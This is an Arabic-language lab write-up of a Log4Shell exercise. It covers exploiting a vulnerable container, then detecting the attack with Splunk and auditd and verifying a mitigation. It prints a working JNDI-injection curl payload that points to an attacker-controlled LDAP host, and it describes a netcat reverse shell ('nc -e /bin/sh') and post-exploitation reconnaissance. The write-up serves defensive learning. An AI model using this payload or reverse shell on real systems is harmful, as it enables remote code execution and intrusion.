مشروع عملي يوضح استغلال ثغرة Log4Shell، وهندسة الكشف باستخدام Splunk وauditd، والمعالجة المُتحقق منها في بيئة حاويات.
مشروع أمني هجومي ودفاعي عملي يحاكي دورة الحياة الكاملة لثغرة Log4Shell: الاستغلال من جهاز افتراضي يتحكم به المهاجم، وهندسة الكشف في Splunk، والمعالجة المُتحقق منها.
معظم مشاريع المحفظة في هذا المجال تغطي اختراق SSH بالقوة الغاشمة. أردت شيئًا يُظهر مجموعة مهارات أكثر اكتمالًا: استغلال CVE حقيقي وعالي التأثير من البداية إلى النهاية، ثم الانتقال إلى الجانب الدفاعي لكشفه ومعالجته، وهي نفس دورة الحياة التي يعمل بها مهندس الأمن أو مهندس الكشف عمليًا.
illshot (192.168.1.85)، يعمل عليه Splunk محليًا لاستيعاب السجلات والكشفghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot، Log4j 2.14.1، Java 8u181) يعمل داخل حاوية Docker، مع توجيه السجلات إلى syslog الخاص بـ Mint عبر --log-driver=syslog1. إعداد المستمع وأداة الاستغلال. تم تشغيل مستمع netcat على Kali لالتقاط اتصال الصدفة العكسية، ثم تم إطلاق أداة JNDI-Injection-Exploit مبنية ذاتيًا (مبنية من المصدر نظرًا لعدم توفر إصدارات مُجمّعة مسبقًا) لتقديم حمولة LDAP الخبيثة.
2. إرسال الاستغلال. تم تسليم الحمولة عبر ترويسة HTTP مصممة بعناية تحتوي على سلسلة بحث JNDI، مستهدفة التطبيق الضعيف على المنفذ 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'
3. التقاط الصدفة. قام التطبيق الضعيف بتحليل الترويسة، مما أدى إلى تشغيل بحث JNDI، والوصول إلى جهاز Kali الخاص بي لجلب وتنفيذ الفئة الخبيثة، مما أسفر عن صدفة عكسية تعمل بصلاحيات root داخل الحاوية.
الاستطلاع بعد الاستغلال (كما قد يقوم به مهاجم حقيقي): تم تأكيد وصول root، ومراجعة متغيرات البيئة (نظيفة، بدون أسرار مسربة)، وفحص ملف jar الخاص بالتطبيق، ومراجعة /etc/passwd، والذي كشف عن مجموعة من حسابات الخدمة غير المستخدمة لصورة Alpine الأساسية، وهو مثال جيد على أثر استطلاعي مضلل لا يعكس سطح الهجوم الحقيقي.
قام Splunk، الذي يستوعب syslog الخاص بـ Mint، بالتقاط سلسلة الهجوم الكاملة: طلب بحث JNDI الأولي، وتتبع المكدس الناتج عن NamingException و ClassCastException، وأوامر sudo docker exec المرتبطة المستخدمة للتفاعل مع الحاوية على مستوى المضيف.
كان الاستطلاع مرئيًا أيضًا قبل الاستغلال: التقطت سجلات جدار الحماية UFW حركة فحص Nmap القادمة من Kali ضد الهدف.
نتيجة تقنية رئيسية لهذا المشروع: الصدفة العكسية الخام nc -e /bin/sh لا تمر أبدًا بمصادقة PAM، لذا فهي لا تُنشئ أي إدخالات في auth.log ولا أي جلسة تسجيل دخول على الإطلاق. بمفردها، قد تجعل هذه الإدخالات هذا النوع من الصدف غير مرئي لتسجيل الدخول القياسي.
ومع ذلك، تشترك حاويات Docker في نواة المضيف بدلاً من تشغيل أنوية افتراضية معزولة تمامًا. هذا يعني أن كل execve (تنفيذ عملية) داخل الحاوية لا يزال مرئيًا لنظام التدقيق للمضيف. قمت بتكوين auditd على Mint لمراقبة استدعاءات نظام execve على مستوى النظام بأكمله، ووسمت القاعدة (container_exec)، وقمت بتغذية /var/log/audit/audit.log إلى Splunk كمدخل جديد.
إعادة تشغيل الاستغلال وتنفيذ أوامر ما بعد الاستغلال (whoami، cat /etc/passwd، ls /app، env) أكدت النظرية: التقط auditd كل أمر، بما في ذلك استدعاء الصدفة العكسية الخام nc نفسه، مع ظهور عنوان IP الخاص بالمهاجم والمنفذ مباشرة في الوسائط المسجلة.
كان نشاط ما بعد الاستغلال الأوسع مرئيًا بالكامل أيضًا، حيث كان يعمل تحت /bin/busybox (صدفة الحاوية البسيطة تنفذ معظم أدوات Unix كروابط رمزية لملف ثنائي واحد BusyBox، لذا يُظهر comm القيمة busybox بينما لا يزال exe يحل المسار الكامل):
تفصيل إضافي واحد يستحق الملاحظة: أظهر كل حدث تم التقاطه auid=4294967295 (غير معين/بدون جلسة تسجيل دخول) مقترنًا بـ uid=0 (root). هذا المزيج بحد ذاته دليل قوي على وجود صدفة غير مصادق عليها، وهي عملية تعمل بصلاحيات root كاملة ولكن بدون معرف تدقيق لتسجيل الدخول على الإطلاق، وهو بالضبط ما تتوقعه من صدفة تجاوزت المصادقة الطبيعية بالكامل.
استعلامات الكشف الرئيسية المستخدمة:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
تم تطبيق التخفيف الرسمي المؤقت الذي نشرته Apache و CISA قبل إصدارات Log4j المُصححة: تعطيل عمليات بحث JNDI في الرسائل عبر خاصية نظام JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
إعادة محاولة نفس سلسلة الاستغلال بالضبط بعد المعالجة أكدت الإصلاح: الطلب ما زال يصل ويتم تسجيله، ولكن لم يتم تقييم بحث JNDI أبدًا، لا اتصال عكسي، لا تتبع مكدس، لا صدفة.
هذه المقارنة هي أوضح دليل على قيمة المشروع: الهجوم الأصلي ولّد سلسلة استغلال كاملة مع أكثر من 136 حدث سجل مرتبط واتصال عكسي ناجح. بعد المعالجة، يولّد الهجوم المطابق سطر سجل واحد غير ضار دون أي نشاط بحث لاحق على الإطلاق.
جدير بالملاحظة للدفاع المتعمق: محاولة الاستغلال بقيت مرئية في السجلات حتى بعد المعالجة. قيمة الكشف لا تختفي بمجرد تصحيح الثغرة، فالنظام المُصحح الذي يُساء تكوينه لاحقًا، أو حمولة متغيرة، سيظل يتم اكتشافه بواسطة نفس استعلامات الكشف المبنية هنا.